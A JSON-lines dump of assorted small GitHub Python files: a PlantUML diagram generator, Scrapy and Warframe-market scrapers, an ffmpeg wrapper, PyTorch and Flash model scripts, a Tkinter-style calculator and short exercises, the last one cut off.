getModuleNamesFromFolder(folder, pkgpath='', done=None):\n \"\"\"Write out HTML documentation for all modules in a directory tree.\"\"\"\n modules = []\n if done is None: done = {}\n for importer, modname, ispkg in pkgutil.walk_packages([folder], pkgpath):\n modules.append(modname)\n return modules\n\n\ndef resolveModule(moduleName, forceload=0):\n obj = pydoc.locate(moduleName, forceload)\n if not obj:\n print (\"Could not resolve module \", moduleName)\n return obj\n\n\nclass PlantUmlWriter(object):\n\n def __init__(self, model):\n self.model = model\n\n self.stream = \"\"\n\n def write(self, outputFile=None, title=None):\n self.stream += templates.STARTUML\n\n if title:\n titleLine = templates.TITLE.format(name=title)\n self.stream += titleLine\n\n styleLine = templates.STYLE\n self.stream += styleLine\n\n for moduleName, classes in self.model[\"moduleToClasses\"].items():\n\n for className, classDescriptor in classes.items():\n self.stream += templates.EMPTY\n\n methods = sorted(classDescriptor.methods.keys())\n methodLines = \"\"\n for method in methods:\n methodLines += templates.METHOD.format(\n returnValue=\"\", name=method\n )\n # self.stream.write(\n # templates.CLASS.format(\n # name=className, methods=methodLines\n # )\n # )\n self.stream += \"class \" + className + \"{\\n\"\n for methodLine in methodLines:\n self.stream += methodLine\n self.stream += \"}\\n\"\n\n supers = classDescriptor.super\n for super_ in supers:\n if isinstance(super_, pyclbr.Class):\n superName = super_.name\n else:\n superName = super_\n if \"mixin\" in superName.lower():\n relation = templates.COMPOSITION.format(\n child=className, parent=superName\n )\n else:\n relation = templates.INHERITANCE.format(\n child=className, parent=superName\n )\n self.stream += relation\n\n self.stream += templates.ENDUML\n\n output = self.stream\n print (self.stream)\n if outputFile:\n with open(outputFile, \"w\") as f:\n f.write(output)\n print(\"Written to \" + outputFile)\n os.system(\"plantuml \" + outputFile)\n os.system(outputFile.replace(\".txt\", \".png\"))\n else:\n print(output)\n\n\nif __name__ == \"__main__\":\n\n moduleToClasses = defaultdict(dict)\n moduleToFunctions = defaultdict(list)\n\n args = sys.argv[1:]\n root = args[0]\n\n if \"/\" in root or \"\\\\\" in root or root in (\".\", \"..\"):\n # It's a directory path.\n sys.path.insert(0, root)\n else:\n # It's probably a module or package.\n print (\"not supported atm\")\n\n moduleNames = getModuleNamesFromFolder(root)\n\n outputFile = \"plantuml.txt\"\n\n for moduleName in moduleNames:\n classes = getClasses(moduleName)\n module = resolveModule(moduleName)\n functions = getFunctions(module)\n\n moduleToFunctions[moduleName].append(functions)\n moduleToClasses[moduleName].update(classes)\n\n model = {\n \"moduleToFunctions\": dict(moduleToFunctions),\n \"moduleToClasses\": dict(moduleToClasses),\n }\n\n PlantUmlWriter(model).write(outputFile)\n\n\n# python inspecttest.py \"c:\\python34\\lib\\logging\"","repo_name":"cb109/pyplantuml","sub_path":"experiments/inspecttest.py","file_name":"inspecttest.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"75"} +{"seq_id":"7183254134","text":"import meilisearch\nimport structlog\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nlog = structlog.get_logger()\n\n\nclass Command(BaseCommand):\n help = \"Create initial MeiliSearch indexes\"\n\n def add_arguments(self, parser):\n # Optional argument\n parser.add_argument(\n \"-d\", \"--delete\", action=\"store_true\", help=\"Delete indexes\"\n )\n parser.add_argument(\n \"-r\", \"--recreate\", action=\"store_true\", help=\"Recreate indexes\"\n )\n\n def handle(self, *args, **options):\n delete = options[\"delete\"]\n recreate = options[\"recreate\"]\n\n client = meilisearch.Client(settings.MEILI_HOST, settings.MEILI_MASTER_KEY)\n\n if delete:\n Command._delete_indexes(client)\n return\n\n if recreate:\n Command._delete_indexes(client)\n Command._create_indexes(client)\n return\n\n Command._create_indexes(client)\n\n @staticmethod\n def _create_indexes(client):\n try:\n client.create_index(\n uid=\"services\", options={\"name\": \"Service\", \"primaryKey\": \"id\"}\n )\n log.info(\"globalsearch.commands.create_indexes.services.success\")\n client.create_index(\n uid=\"analytics\", options={\"name\": \"Dependency\", \"primaryKey\": \"id\"}\n )\n log.info(\"globalsearch.commands.create_indexes.analytics.success\")\n client.create_index(\n uid=\"open-api\", options={\"name\": \"Schema\", \"primaryKey\": \"id\"}\n )\n log.info(\"globalsearch.commands.create_indexes.open-api.success\")\n except meilisearch.errors.MeiliSearchApiError as e:\n log.error(\"globalsearch.commands.create_indexes.error\")\n log.error(e)\n return\n log.info(\"globalsearch.commands.create_indexes.success\")\n\n @staticmethod\n def _delete_indexes(client):\n try:\n client.index(\"services\").delete()\n log.info(\"globalsearch.commands.delete_indexes.services.success\")\n client.index(\"analytics\").delete()\n log.info(\"globalsearch.commands.delete_indexes.analytics.success\")\n client.index(\"open-api\").delete()\n log.info(\"globalsearch.commands.delete_indexes.open-api.success\")\n except meilisearch.errors.MeiliSearchApiError as e:\n log.error(\"globalsearch.commands.delete_indexes.success.error\")\n log.error(e)\n return\n log.info(\"globalsearch.commands.delete_indexes.success\")\n","repo_name":"flyasher/zoo-vue-django","sub_path":"zoo/globalsearch/management/commands/create_initial_indexes.py","file_name":"create_initial_indexes.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"12079777744","text":"import scrapy\nimport re\nimport json\n\n# d = {\"category\":\"\",}\nd = dict()\nresult = []\n\ndef append_key(name,init):\n d[name] = init\n\ndef append_list_value(name,value):\n d[name].append(value)\n\ndef reset():\n d = dict()\n\ndef red_append(value):\n d[\"red\"][\"colors\"].append(value)\n\ncategory = \"\"\n\nclass ColorSpider(scrapy.Spider):\n name = 'color'\n allowed_domains = ['irocore.com']\n start_urls = ['https://irocore.com/']\n def parse(self, response):\n \n for href in response.css('#intro2 > ul > li > a::attr(href)'):\n # d = dict()\n reset()\n url = 'http://irocore.com'+href.get()\n # print(\"url:\"+url)\n cname = href.get()\n # print(cname[len(\"/category/\"):-1])\n d[\"category\"]=cname[len(\"/category/\"):-1]\n global category\n category = cname[len(\"/category/\"):-1]\n \n print(\"\\n\\n\\ncategory\")\n print(category)\n print(\"\\n\\n\\n\")\n yield scrapy.Request(url,callback=self.parse_items)\n with open('cccolor.json', mode='w',encoding='utf-8') as f:\n json.dump(result,f,ensure_ascii=False,indent=2)\n\n def parse_items(self,responce):\n d[\"colors\"] = []\n # print(responce.css('#content > article > div.news10 > ul > li > a::attr(href)'))\n for href in responce.css('#content > article > div.news10 > ul > li > a::attr(href)'):\n url = href.get()\n # print(\"curl:\"+url)\n yield scrapy.Request(url,callback=self.parse_item)\n break\n global result\n result.append(d)\n\n \n def parse_item(self,response):\n # a = response.css('#content > article > div > table > tbody > tr:nth-child(1) > td::text').get()\n # print(a)\n name = ''.join(response.css('#content > article > div > table > tbody > tr:nth-child(1) > td::text').getall())\n colorcode = ''.join(response.css('#content > article > div > table > tbody > tr:nth-child(5) > td > input::attr(value)').getall())\n text = ''.join(response.css('#content > article > div.entry-content').getall())\n # text = re.sub(re.compile('<style>.*</style>'),'',text)\n # text = re.sub(re.compile('<s.*?t>).*?</s.*?t>'),'',text)\n text = re.sub(re.compile('<.*?>'),'',text)\n text = re.sub(re.compile('\\s'),'',text)\n color = dict()\n color[\"name\"] = name\n color[\"colorcode\"] = colorcode\n color[\"description\"] = text\n global category\n d[\"colors\"].append(color)\n # print(\"\\n\\n\\ncolor\\n\")\n # print(color)\n # print(\"\\n\")\n # with open('test.json', mode='w',encoding='utf-8') as f:\n # cj = json.dumps(color)\n # print(cj)\n # print(\"\\n\")\n # ccjj = json.loads(cj,)\n # print(ccjj)\n # print(\"\\nend\\n\")\n # print(\"\\n\\n\\n\")\n # json.dump(ccjj,f,ensure_ascii=False,indent=2,)\n \n\n \n yield{\n 'name':name,\n 'colorcode':colorcode,\n 'description':text\n }\n","repo_name":"Iwatoson/Dc-Scraping","sub_path":"tr_color/spiders/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9579576145","text":"import csv\nimport sys\n\n# with open('input.txt') as inp_file:\ndata = map(lambda line: line.rstrip().split(\"\\t\"), sys.stdin.readlines())\nwith open(\"plantis.csv\", encoding=\"utf-8\", mode='w', newline='') as csv_file:\n writer = csv.writer(csv_file, delimiter=\";\", quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n field_names = \"nomen, definitio, pluma, Russian nomen, familia, Russian nomen familia\".split(\", \")\n writer.writerow(field_names)\n for line in data:\n writer.writerow(line)","repo_name":"0ReC0/ForPyQT","sub_path":"qt6/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12162363503","text":"from os import makedirs\nfrom os.path import exists\nfrom shutil import rmtree\nfrom subprocess import Popen\n\n\nDIR_SEPARATOR = r\"/\"\nLOG_SDTOUT = \"/tmp/nova/ffmpeg/log\"\n\n\ndef create_path(output):\n dirs = output.split(DIR_SEPARATOR)\n filename = dirs.pop()\n filepath = DIR_SEPARATOR.join(dirs)\n if len(filepath) > 0 and not exists(filepath):\n makedirs(filepath)\n return output\n\n\ndef delete_temp(path):\n rmtree(path)\n return path\n\n\ndef create_cmd(fps, output, data):\n path, pattern = data.FRAME_PATH, data.FRAME_PATTERN\n frames = u\"{}/{}\".format(path, pattern.replace(\"{frame}\", \"%00d\"))\n return [\"ffmpeg\", \"-framerate\", str(fps), \"-i\", frames,\n \"-c:v\", \"libx264\", \"-profile:v\", \"high\", \"-crf\", \"20\",\n \"-pix_fmt\", \"yuv420p\",\n \"-vf\", \"scale=trunc(iw/2)*2:trunc(ih/2)*2\", u\"{}\".format(output)]\n\n\ndef ffmpeg(fps, output, nova):\n if output is None:\n raise ValueError(\"Missing output\")\n create_path(output)\n create_path(LOG_SDTOUT)\n data = nova.recorder.Camera\n cmd = create_cmd(fps, output, data)\n code = None\n with open(LOG_SDTOUT, \"wb\") as log:\n proc = Popen(cmd, stdout=log, stderr=log)\n code = proc.wait()\n delete_temp(data.FRAME_PATH)\n return code\n","repo_name":"codeissues/nova-engine","sub_path":"src/libs/ffmpeg.py","file_name":"ffmpeg.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19226524166","text":"from model.multiscale import multiscale\nimport torch\nimport numpy as np\nfrom loader.dataloader import h_set\nfrom torch.utils.data import DataLoader\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom matplotlib import pyplot as plt\n\nclass experiment(object):\n def __init__(self) -> None:\n super().__init__()\n self.lr=0.0001\n self.batch_size=24\n self.epochs=200\n self.model = self._build_model().cuda()\n self._get_data(0.7)\n\n def _build_model(self):\n model=multiscale()\n return model\n \n def _get_data(self,tt_ratio):\n input=np.load('./data/inputno_nan.npy',allow_pickle=True)\n output=np.load('./data/outputno_nan.npy',allow_pickle=True)\n l=input.shape[0]\n train_input=input[:int(l*tt_ratio)]\n train_output=output[:int(l*tt_ratio)]\n test_input=input[int(l*tt_ratio):]\n test_output=output[int(l*tt_ratio):]\n self.train_set=h_set(train_input,train_output)\n self.test_set=h_set(test_input,test_output)\n self.train_loader=DataLoader(self.train_set,batch_size=self.batch_size,shuffle=True)\n self.test_loader=DataLoader(self.test_set,batch_size=self.batch_size,shuffle=False)\n\n return self.train_loader,self.test_loader\n\n def _get_optim(self):\n return torch.optim.Adam(params=self.model.parameters(),lr=self.lr)\n\n \n def train(self):\n my_optim=self._get_optim()\n bestloss=1000000\n \n lossf=nn.L1Loss().cuda()\n\n for epoch in range(self.epochs):\n t_loss=0\n for i,(input,target) in enumerate(self.train_loader):\n input=input.cuda()\n co=input[:,0:4]\n woy=F.one_hot(input[:,4,3].to(torch.int64),num_classes=52)\n dow=F.one_hot(input[:,4,1].to(torch.int64),num_classes=7)\n hod=F.one_hot(input[:,4,0].to(torch.int64),num_classes=24)\n target=target.cuda()\n self.model.zero_grad()\n\n fore=self.model(hod.unsqueeze(dim=-1).to(torch.float32),dow.unsqueeze(dim=-1).to(torch.float32),woy.unsqueeze(dim=-1).to(torch.float32),co)\n fore=fore.squeeze()\n target=target.squeeze()\n #print(fore,target)\n loss=torch.sqrt(lossf(fore,target))\n\n loss.backward()\n my_optim.step()\n\n t_loss+=loss\n #print(loss)\n\n print('Epoch:'+str(epoch)+' loss: '+str(t_loss/i))\n if t_loss/i<bestloss:\n bestloss=t_loss/i\n torch.save(self.model.state_dict(),'./checkpoints/multi2.model')\n\n with torch.no_grad():\n t_loss=0\n for i,(input,target) in enumerate(self.test_loader):\n input=input.cuda()\n co=input[:,0:4]\n woy=F.one_hot(input[:,4,3].to(torch.int64),num_classes=52)\n dow=F.one_hot(input[:,4,1].to(torch.int64),num_classes=7)\n hod=F.one_hot(input[:,4,0].to(torch.int64),num_classes=24)\n target=target.cuda()\n fore=self.model(hod.unsqueeze(dim=-1).to(torch.float32),dow.unsqueeze(dim=-1).to(torch.float32),woy.unsqueeze(dim=-1).to(torch.float32),co)\n fore=fore.squeeze()\n target=target.squeeze()\n loss=torch.sqrt(lossf(fore,target))\n t_loss+=loss\n print('Test loss: '+str(t_loss/i))\n\n def test(self):\n self.model.load_state_dict(torch.load('./checkpoints/multi2.model'))\n\n # for name,param in self.model.hourofday_block.embedding.named_parameters():\n # if param.requires_grad:\n\n # plt.plot(param.data.cpu().detach().squeeze().numpy())\n # plt.savefig('./weights_hod.jpg')\n # for name,param in self.model.dayofweek_block.embedding.named_parameters():\n # if param.requires_grad:\n\n # plt.plot(param.data.cpu().detach().squeeze().numpy())\n # plt.savefig('./weights_dow.jpg')\n for name,param in self.model.weekofyear_block.embedding.named_parameters():\n if param.requires_grad:\n\n plt.plot(param.data.cpu().detach().squeeze().numpy())\n plt.savefig('./weights_woy.jpg')\n lossf=nn.L1Loss().cuda()\n with torch.no_grad():\n t_loss=0\n for i,(input,target) in enumerate(self.test_loader):\n input=input.cuda()\n co=input[:,0:4]\n woy=F.one_hot(input[:,4,3].to(torch.int64),num_classes=52)\n dow=F.one_hot(input[:,4,1].to(torch.int64),num_classes=7)\n hod=F.one_hot(input[:,4,0].to(torch.int64),num_classes=24)\n target=target.cuda()\n fore=self.model(hod.unsqueeze(dim=-1).to(torch.float32),dow.unsqueeze(dim=-1).to(torch.float32),woy.unsqueeze(dim=-1).to(torch.float32),co)\n fore=fore.squeeze()\n target=target.squeeze()\n loss=torch.sqrt(lossf(fore,target))\n t_loss+=loss\n print(fore,target)\n print('Test loss: '+str(t_loss/i))\n\n\n\n \n\n\n\nif __name__=='__main__':\n\n model=simple()\n dummyinput=torch.FloatTensor(1,5,4)\n print(dummyinput)\n\n\n","repo_name":"VEWOXIC/EMAI-Whatever","sub_path":"experiment/exp_multi.py","file_name":"exp_multi.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"46825036462","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('myskills', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='skills',\n options={'verbose_name_plural': 'Skills'},\n ),\n ]\n","repo_name":"mthadian/portifolio","sub_path":"venv/mysite/myskills/migrations/0002_auto_20170113_1142.py","file_name":"0002_auto_20170113_1142.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31636126157","text":"\"\"\" ower of Hanoi is a mathematical puzzle where we have three rods and n disks. The objective of the puzzle is to move the entire stack to another rod, obeying the following simple rules:\r\n1) Only one disk can be moved at a time.\r\n2) Each move consists of taking the upper disk from one of the stacks and placing it on top of another stack i.e. a disk can only be moved if it is the uppermost disk on a stack.\r\n3) No disk may be placed on top of a smaller disk.\r\n\"\"\"\r\ndef toh(n,source,aux,dest):\r\n if n==1:\r\n print(f\"move {n} disk from {source} to {dest}\")\r\n return\r\n toh(n-1,source,dest,aux)\r\n print(f\"move {n} disk from {source} to {dest}\")\r\n toh(n-1,aux,source,dest)\r\ntoh(3,\"A\",\"B\",\"C\")","repo_name":"mahvish23/CP","sub_path":"tower of hanoi.py","file_name":"tower of hanoi.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43067937671","text":"from flash.image import ImageClassifier\nimport torchvision.transforms as T\nimport torch\n\n\ndef get_model(path: str) -> ImageClassifier:\n \"\"\"\n Load a saved pytorch lightning model from a path.\n The model is put in eval mode and gradient is deactivated.\n :param path: path where is saved the model\n :return: ImageClassifier model with loaded weitgh.\n \"\"\"\n model = ImageClassifier.load_from_checkpoint(r\"model/image_classification_model.pt\")\n\n for p in model.parameters():\n p.requires_grad = False\n model.eval()\n\n return model\n\n\ndef get_transform() -> T.transforms.Compose:\n \"\"\"\n Return the transform function to process the images for the model\n :return: transform function\n \"\"\"\n transform = T.Compose([T.Resize((196, 196)),\n T.ToTensor(),\n T.ConvertImageDtype(torch.float),\n T.Normalize(mean=(0.485, 0.456, 0.406),\n std=(0.229, 0.224, 0.225))])\n return transform\n\n\ndef predict(model: ImageClassifier, images: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Apply the model to the images and return the predictions.\n :param model: Model used to predict.\n :param images: Inputs tensors\n :return:\n \"\"\"\n prediction = model(images)\n softmax = torch.nn.Softmax(dim=1)\n prediction = softmax(prediction)\n return prediction\n","repo_name":"lerouxl/ELO_layer_image_classification","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72307853363","text":"import PySimpleGUI as sg\r\n\r\nlayout = [\r\n [sg.T('Калькулятор', justification='center', expand_x=True, font=('Arial Bold', 20), key='-T-')],\r\n\r\n [sg.T('0', justification='right', expand_x=True, font=('Unispace', 20), key='Num', background_color='dark blue')],\r\n\r\n [sg.B('C', key='clear', font=('Arial', 14), expand_x=True),\r\n sg.B('<', key='delete', font=('Arial', 14), size=4),\r\n sg.B('/', key='divide', font=('Arial', 14), size=2)],\r\n\r\n [sg.B('7', key='7', font=('Unispace', 14), size=4),\r\n sg.B('8', key='8', font=('Unispace', 14), size=4),\r\n sg.B('9', key='9', font=('Unispace', 14), size=4),\r\n sg.B('x', key='multi', font=('Unispace', 14), expand_x=True)],\r\n\r\n [sg.B('4', key='4', font=('Unispace', 14), size=4),\r\n sg.B('5', key='5', font=('Unispace', 14), size=4),\r\n sg.B('6', key='6', font=('Unispace', 14), size=4),\r\n sg.B('-', key='subt', font=('Arial', 14), expand_x=True)],\r\n\r\n [sg.B('1', key='1', font=('Unispace', 14), size=4),\r\n sg.B('2', key='2', font=('Unispace', 14), size=4),\r\n sg.B('3', key='3', font=('Unispace', 14), size=4),\r\n sg.B('+', key='add', font=('Arial', 14), expand_x=True)],\r\n\r\n [sg.B('0', key='0', font=('Unispace', 14), expand_x=True),\r\n sg.B('.', key='dot', font=('Arial', 14), size=4),\r\n sg.B('=', key='equals', font=('Arial', 14), size=2)],\r\n\r\n]\r\n\r\n\r\ndef addNum(arg, current_num):\r\n if current_num != '0' or '.' in current_num:\r\n ret_num = current_num + arg\r\n return ret_num\r\n else:\r\n return arg\r\n\r\n\r\ndef changeNum(current_num, prev_num, oper):\r\n if oper == '':\r\n return current_num\r\n switcher = {\r\n '+': current_num + prev_num,\r\n '-': prev_num - current_num,\r\n '*': prev_num * current_num,\r\n '/': prev_num / current_num,\r\n }\r\n res = switcher.get(oper, '')\r\n return int(res) if not('.' in str(res).strip('.')) or (str(res)[-1] == '0' and str(res)[-2] == '.') else res\r\n\r\n\r\nlast_oper = '' # Последняя операция +-*/\r\nprevious_num = '0'\r\nwait_till_num_pressed = False\r\n\r\nprint(int(1.0))\r\n\r\nwindow = sg.Window('Калькулятор', layout)\r\nwhile True:\r\n event, values = window.read()\r\n print(event, values)\r\n if event in (sg.WINDOW_CLOSED, \"Exit\"):\r\n break\r\n # Если нажата цифра (0-9)\r\n if event.isdigit():\r\n current_number = window['Num'].get()\r\n if wait_till_num_pressed:\r\n previous_num = current_number.strip('.')\r\n current_number = '0'\r\n wait_till_num_pressed = False\r\n print(window[f'{event}'].GetText())\r\n print(addNum(window[f'{event}'].GetText(), current_number))\r\n window['Num'].update(addNum(window[f'{event}'].GetText(), current_number))\r\n\r\n # Если нажата точка (.)\r\n if event == 'dot':\r\n window['Num'].update(window['Num'].get()+'.')\r\n\r\n # Если нажата кнопка '<' (убрать 1 элемент с конца)\r\n if event == 'delete':\r\n window['Num'].update(window['Num'].get()[:-1])\r\n if window['Num'].get() == '':\r\n window['Num'].update('0')\r\n wait_till_num_pressed = False\r\n\r\n # Если нажата кнопка 'c' (убирает все символы и забывает все операции)\r\n if event == 'clear':\r\n window['Num'].update('0')\r\n last_oper = ''\r\n wait_till_num_pressed = False\r\n\r\n # Если нажата кнопка '='\r\n if event == 'equals':\r\n changed = changeNum(float(window['Num'].get()), float(previous_num), last_oper)\r\n window['Num'].update(changed)\r\n wait_till_num_pressed = True\r\n last_oper = ''\r\n\r\n # Всевозможные операции\r\n if event == 'add' or event == 'subt' or event == 'multi' or event == 'divide':\r\n switcher = {\r\n 'add': '+',\r\n 'subt': '-',\r\n 'multi': '*',\r\n 'divide': '/',\r\n }\r\n last_oper = switcher.get(event, '')\r\n wait_till_num_pressed = True\r\n\r\n\r\nwindow.close()\r\n","repo_name":"OpyssMagnuum/calculator_simple","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44622397134","text":"# 15. Write a Python function to insert a string in the middle of a string. \n# Sample function and result : \n# insert_sting_middle('[[]]<<>>', 'Python') -> [[Python]] \n# insert_sting_middle('{{}}', 'PHP') -> {{PHP}} \n\ndef insert_string_middle(s,t):\n\tmid = int(len(s)/2)\n\treturn s[:mid] + t + s[-mid:]\n\nresult = insert_string_middle('[[<<>>]]', 'Python')\nprint(result)","repo_name":"shres-ruby/pythonassignment","sub_path":"datatypes/q15_datatypes.py","file_name":"q15_datatypes.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29783695398","text":"#!/usr/bin/env python3\n\nimport urllib.parse as parse\nimport urllib.request\nfrom urllib.request import urlopen as req_url\nimport json\nimport sqlite3\nimport time\nimport getopt\nimport sys\nimport re\n\n# Extract all the sell of online players\ndef getsell(orders):\n ret = []\n for o in orders:\n if(o[\"order_type\"] != \"sell\"):\n continue\n if(o[\"user\"][\"status\"] != \"ingame\"):\n continue\n if(o[\"platform\"] != \"pc\"):\n continue\n vals = (o[\"platinum\"], o[\"quantity\"], o[\"user\"][\"ingame_name\"])\n ret.append(vals)\n return sorted(ret, key=lambda x: x[0])\n\n# Search API for most recent average price scrape\ndef getquotes(search):\n main_url = req_url('https://api.warframe.market/v1/items/' + search.replace(' ', '_') + '/orders')\n data = main_url.read()\n parsed = json.loads(data)\n return getsell(parsed[\"payload\"][\"orders\"])\n\n# Ensure a normalized table of strings is properly initialized and setup\n# returns the k/v pair\ndef add_all_strings(db, nm, tab_name):\n cur = db.cursor()\n cur.execute(\"CREATE TABLE IF NOT EXISTS \" + tab_name + \" (v text)\")\n for i in nm:\n q = \"INSERT INTO \" + tab_name + \"(v) SELECT '\" + i + \"' WHERE NOT EXISTS (SELECT 1 FROM \" + tab_name + \" WHERE v='\" + i + \"')\";\n cur.execute(q)\n db.commit()\n rv = {}\n ri = cur.execute(\"SELECT MAX(rowid) as id, v FROM \" + tab_name + \" WHERE 1=1 GROUP BY v\")\n for i in ri:\n rv[i[1]] = i[0]\n return rv\n\n# store in SQL DB\ndef storesql(con, aq):\n cur = con.cursor()\n # add the 'now' string\n cdt = cur.execute(\"SELECT datetime('now')\")\n for i in cdt:\n dt = i[0]\n r_ts = add_all_strings(con, [dt], \"ts_value\")\n # add all the items\n r_item = add_all_strings(con, list(aq.keys()), \"item_value\")\n # then main table\n cur.execute(\"CREATE TABLE IF NOT EXISTS wf_items (ts integer, item integer, plat integer, qty integer, user text)\")\n for k, v in aq.items():\n for i in v:\n cur.execute(\"INSERT INTO wf_items VALUES(?, ?, ?, ?, ?)\", (r_ts[dt], r_item[k], i[0], i[1], i[2]))\n con.commit()\n\n# all the pieces and wf I'm tracking\n# should go into a list\nwf_parts = [\n \"systems\",\n \"neuroptics\",\n \"blueprint\",\n \"chassis\",\n]\n\nwf_names = [\n \"mirage\",\n \"rhino\",\n \"mag\",\n \"nova\",\n \"limbo\",\n \"trinity\",\n \"mesa\",\n \"hydroid\",\n \"volt\",\n \"loki\",\n \"vauban\",\n \"ash\",\n \"oberon\",\n \"nekros\",\n \"valkyr\",\n \"saryn\",\n \"ember\",\n \"frost\",\n]\n\n# do extract and print to std out\ndef doextract(con, items):\n r_items = []\n for s in items.split(\",\"):\n r_items.append(re.compile(r'.*' + re.escape(s.strip()) + r'.*', re.IGNORECASE))\n cur = con.cursor()\n citems = cur.execute(\"SELECT t.v as ts, i.v as item, MIN(w.plat) as plat FROM wf_items w JOIN ts_value t ON (t.rowid=w.ts) JOIN item_value i ON (i.rowid=w.item) GROUP BY i.v, t.v\")\n alldata = {}\n allitems = {}\n for i in citems:\n if alldata.get(i[0]) is None:\n alldata[i[0]] = {}\n alldata[i[0]][i[1]] = i[2]\n allitems[i[1]] = 1\n # select required items\n itemsarr = []\n if not r_items:\n itemsarr = allitems.keys()\n else:\n for ci in allitems.keys():\n for r in r_items:\n if r.match(ci) is not None:\n itemsarr.append(ci)\n break\n # now print all\n # first header\n print(\"Timestamp\", sep='', end='')\n for k in itemsarr:\n print(\",\", k, sep='', end='')\n print('')\n # then all data\n for k, v in alldata.items():\n print(k, end='')\n for i in itemsarr:\n if v.get(i) is None:\n print(\",\", end='')\n else:\n print(\",\", v[i], sep='', end='')\n print('')\n return None\n\n# do averages extract and print to std out\ndef doavgextract(con, items):\n r_items = []\n for s in items.split(\",\"):\n r_items.append(re.compile(r'.*' + re.escape(s.strip()) + r'.*', re.IGNORECASE))\n cur = con.cursor()\n alldata = {}\n allitems = {}\n periods = [1, 3, 7, 10, 14, 28, 180]\n # iterate through periods\n for p in periods:\n q = \"\"\"\nSELECT i.v AS 'item', AVG(plat) AS 'plat'\nFROM (\n\tSELECT DATE(ts) AS ts, item, AVG(plat) as 'plat'\n\tFROM (\n\t\tSELECT\tt.v AS ts, item, MIN(plat) as 'plat'\n\t\tFROM\twf_items i\n\t\tJOIN\tts_value t\n\t\tON (i.ts=t.ROWID)\n\t\tGROUP BY t.v, i.item\n\t) z\n\tGROUP BY DATE(z.ts), z.item\n) x\nJOIN item_value i\nON (x.item = i.ROWID)\nWHERE 1=1\nAND x.ts >= datetime('now', '-{period:d} day')\nAND x.ts <= datetime('now')\nGROUP BY x.item\n \"\"\"\n citems = cur.execute(q.format(period=p))\n alldata[p] = {}\n for i in citems:\n alldata[p][i[0]] = i[1]\n allitems[i[0]] = 1\n # select required items\n itemsarr = []\n if not r_items:\n itemsarr = allitems.keys()\n else:\n for ci in allitems.keys():\n for r in r_items:\n if r.match(ci) is not None:\n itemsarr.append(ci)\n break\n # now print all\n # first header\n print(\"Avg Period\", sep='', end='')\n for k in itemsarr:\n print(\",\", k, sep='', end='')\n print('')\n # then all data\n for k, v in alldata.items():\n print(k, end='')\n for i in itemsarr:\n if v.get(i) is None:\n print(\",\", end='')\n else:\n print(\",\", v[i], sep='', end='')\n print('')\n return None\n\n\n# get full list of wf items/parts\ndef getwfitems():\n ret = []\n for n in wf_names:\n for p in wf_parts:\n ret.append(n + \" prime \" + p)\n return ret\n\ndef main():\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"aei:\", [\"avg-extract\", \"extract-all\", \"items=\"])\n except getopt.GetoptError as err:\n print(err)\n sys.exit(-1)\n extract = False\n avg_extract = False\n items = \"\"\n for o, a in opts:\n if o in (\"-e\", \"--extract-all\"):\n extract = True\n elif o in (\"-i\", \"--items\"):\n items = a\n if (not extract):\n extract = True\n elif o in (\"-a\", \"--avg-extract\"):\n avg_extract = True\n if (not extract):\n extract = True\n else:\n assert False, \"unhandled option\"\n # if we're in extract mode just extract, print and quit\n if extract:\n con = sqlite3.connect('wf_items_ext.db')\n if avg_extract:\n doavgextract(con, items)\n else:\n doextract(con, items)\n con.close()\n sys.exit(0)\n # 1 get all the quotes\n aq = {}\n for i in getwfitems():\n print(\"Getting data for '\", i, \"'...\", sep='')\n aq[i] = getquotes(i)\n time.sleep(0.25)\n # 2 print all\n print(aq)\n # 3 open sql DB and insert data\n con = sqlite3.connect('wf_items_ext.db')\n storesql(con, aq)\n con.close()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Emanem/wfdrops","sub_path":"wfmarketdata.py","file_name":"wfmarketdata.py","file_ext":"py","file_size_in_byte":6965,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"40116561133","text":"# 3xxx年、ロボット学校の先生である paiza 君は、新しく担当するクラスの生徒一人一人の出席番号と識別 ID を覚えて、出席番号が与えられたら、その生徒の識別 ID を言えるようになる必要があります。\n# paiza 君の務める学校は転校が多く、頻繁に生徒が増減します。\n\n# 覚えるべき生徒の出席番号と識別 ID 